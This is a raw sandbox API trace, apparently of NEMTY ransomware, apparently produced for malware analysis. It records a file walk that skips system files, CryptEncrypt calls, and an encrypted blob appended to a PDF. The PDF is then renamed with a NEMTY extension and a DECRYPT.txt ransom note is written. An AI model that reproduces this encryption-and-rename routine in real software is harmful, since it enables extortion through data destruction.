lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0187.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0187.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0187.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0187.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0187.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0187.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0187.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340250 [0187.469] Sleep (dwMilliseconds=0x5) [0187.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23649170, dwHighDateTime=0x1d561e8)) [0187.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x23649170, dwHighDateTime=0x1d561e8)) [0187.479] GetLastError () returned 0x0 [0187.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.479] GetLastError () returned 0x0 [0187.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0187.479] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.479] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.479] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0187.479] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="KkHcc630VT2ukVH904obzbkXlYpMfr79iX5kvx0JeyPhC+k+6u7PlAWaRrO7C4Wo\r\ntgb68CKdyl+3lyYa6F8Q+8M4fOP6vTHYsnXAlx0J61p0RZuUhtMfblHz0AOZZeXL\r\nGHm3HbiqonB6QbYVYJkKg0WwPKyXY4dlTCdPJvvT9TK8OZ1mLYUhd7aNlV/Cu9Tz\r\nmnMiVGh/Qcn+ZBvBQ4wQ1pxg6pLryJ4il8TbJwhA4UeZWFwlYwlso9xcp1IIrvG6\r\nicEy1cS6mtAfZjU7Zkc/r+dMxZo5YGqeIGGhkMJwN19xLBLXbpzxVjZXU3DauE24\r\nPjxZFgUnWfTdn3lwh0x4hA==\r\n", pcchString=0x653df5c) returned 1 [0187.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0187.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0187.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0187.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.479] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.480] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=137166) returned 1 [0187.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0187.480] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.480] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0187.489] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.489] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0187.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.490] SetFilePointer (in: hFile=0x320, lDistanceToMove=137166, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x217ce [0187.490] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.490] CloseHandle (hObject=0x320) returned 1 [0187.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0187.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0187.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0187.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0187.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0187.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0187.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0187.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0187.490] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0187.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0187.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0187.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0187.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0187.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.491] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x233c1a10, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x233c1a10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x233c1a10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0187.491] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0187.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0187.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0187.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0187.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0187.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0187.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0187.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0187.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0187.492] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0187.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0187.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0187.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0187.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0187.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340250 [0187.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.493] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x233c1a10, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x233c1a10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x233c1a10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0187.493] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0187.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0187.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404d8 | out: hHeap=0x4f90000) returned 1 [0187.493] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="CHT", cAlternateFileName="")) returned 1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2=".") returned 1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="..") returned 1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="...") returned 1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="windows") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="$RECYCLE.BIN") returned 1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="rsa") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="NTDETECT.COM") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="ntldr") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="MSDOS.SYS") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="IO.SYS") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="boot.ini") returned 1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="boot.ini") returned 1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="AUTOEXEC.BAT") returned 1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="ntuser.dat") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="desktop.ini") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="CONFIG.SYS") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="RECYCLER") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="BOOTSECT.BAK") returned 1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="bootmgr") returned 1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="programdata") returned -1 [0187.493] lstrcmpiW (lpString1="CHT", lpString2="appdata") returned 1 [0187.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHT", lpUsedDefaultChar=0x0) returned 3 [0187.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.494] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CHT", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHT", lpUsedDefaultChar=0x0) returned 3 [0187.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404d8 [0187.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0187.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404d8 | out: hHeap=0x4f90000) returned 1 [0187.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0187.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340290 [0187.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0187.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0187.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0187.494] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0187.496] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.496] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0187.497] CloseHandle (hObject=0x2f0) returned 1 [0187.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0187.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340290 [0187.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340348 [0187.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340400 [0187.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.497] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, 